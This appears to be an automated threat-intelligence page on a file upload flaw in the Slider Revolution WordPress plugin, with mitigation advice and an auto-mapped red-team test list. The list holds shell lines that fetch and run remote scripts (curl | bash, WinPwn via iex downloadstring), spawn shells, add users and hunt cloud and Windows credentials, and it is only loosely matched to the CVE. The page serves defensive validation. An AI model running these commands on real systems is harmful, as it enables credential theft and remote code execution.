CVE-2026-6692
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types within the Slider Revolution WordPress plugin. The root cause lies in improper sanitization and verification logic in the '_get_media_url' and '_check_file_path' functions. These components handle media file uploads and path checks, allowing unauthorized file types to bypass restrictions.
Vulnerability Description
The Slider Revolution plugin for WordPress is vulnerable to Arbitrary File Upload in versions 7.0.0 to 7.0.10 via the '_get_media_url' and '_check_file_path' function. This is due to insufficient file type validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The vulnerability was partially patched in version 7.0.10 and fully patched in version 7.0.11.
Impact
An attacker with a low-privileged authenticated account can upload malicious executable files to the web server, leading to remote code execution. This access enables full compromise of the hosting environment, including unauthorized data access, privilege escalation, and lateral movement within the network. The vulnerability can result in complete system takeover, data breaches, and disruption of service for websites using the affected plugin versions.
Solution
Users should upgrade the Slider Revolution plugin to version 7.0.11 or later, where the vulnerability has been fully patched. The vendor’s advisory and patch details are available at https://www.wordfence.com/threat-intel/vulnerabilities/id/a2e802a6-d2f1-47cc-883a-89110e569168. No alternative workarounds are recommended; applying the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Slider Revolution plugin for WordPress stems from inadequate file type validation within the '_get_media_url' and '_check_file_path' functions. This flaw allows authenticated users, including those with subscriber-level access, to upload arbitrary files to the server. The lack of stringent checks on the file types means that malicious actors can exploit this weakness to upload executable files, which could lead to remote code execution on the affected web server. The risk is particularly pronounced in versions 7.0.0 to 7.0.10, where the vulnerability exists unmitigated, allowing for a straightforward exploitation path for attackers.
Attack vectors for this vulnerability are primarily focused on authenticated users who have gained access to the WordPress backend. Once an attacker with sufficient privileges logs in, they can leverage the file upload functionality to introduce malicious files into the server environment. For instance, an attacker could upload a PHP web shell disguised as a harmless image file. Once executed, this shell could provide the attacker with a foothold in the server, enabling them to execute arbitrary commands, manipulate data, or further compromise the site. The potential for exploitation is exacerbated by the common practice of using outdated plugins, which may not have received timely updates or patches.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on WordPress for their online presence. Successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or even the complete takeover of the server. This not only poses a direct threat to the integrity and confidentiality of business operations but also jeopardizes customer trust and brand reputation. The financial implications can be significant, including costs related to incident response, legal liabilities, and potential regulatory fines for data breaches. Furthermore, the presence of such vulnerabilities can attract malicious actors, increasing the likelihood of further attacks on the organization.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating plugins and themes is critical, as many vulnerabilities are addressed in newer versions. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Monitoring server logs for unusual activity, such as unexpected file uploads or access attempts, can also aid in early detection of potential exploitation. Furthermore, organizations should enforce the principle of least privilege, ensuring that users have only the access necessary for their roles, thereby minimizing the risk of exploitation by lower-privileged accounts.
In conclusion, the vulnerability in the Slider Revolution plugin highlights the importance of robust file validation mechanisms in web applications. The potential for arbitrary file uploads poses significant risks to the security and integrity of WordPress sites. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing effective detection and mitigation strategies will not only protect the organization from immediate threats but also contribute to a more secure web ecosystem overall.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2026-6692, indicating a modest resurgence in attempts to exploit the Slider Revolution plugin vulnerability. While no new exploit techniques or proof-of-concept code have surfaced, the upward trend in telemetry suggests that threat actors continue to probe affected environments, potentially leveraging the partial patching gaps present in versions prior to 7.0.11. This incremental rise in exploitation attempts underscores the persistent interest from attackers in targeting WordPress sites with subscriber-level access, maintaining the relevance of this vulnerability in current threat landscapes. Although the EPSS score remains low, the observed trend signals that defenders should remain vigilant, as the risk of successful arbitrary file upload and subsequent remote code execution persists, particularly in environments where patching is incomplete or delayed.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: themepunch, product: slider_revolution
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-6692 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a2e802a6-d2f1-47cc-883a-89110e569168?source=cve |
| sliderrevolution.com |
GitHub CVE
|
https://www.sliderrevolution.com/ |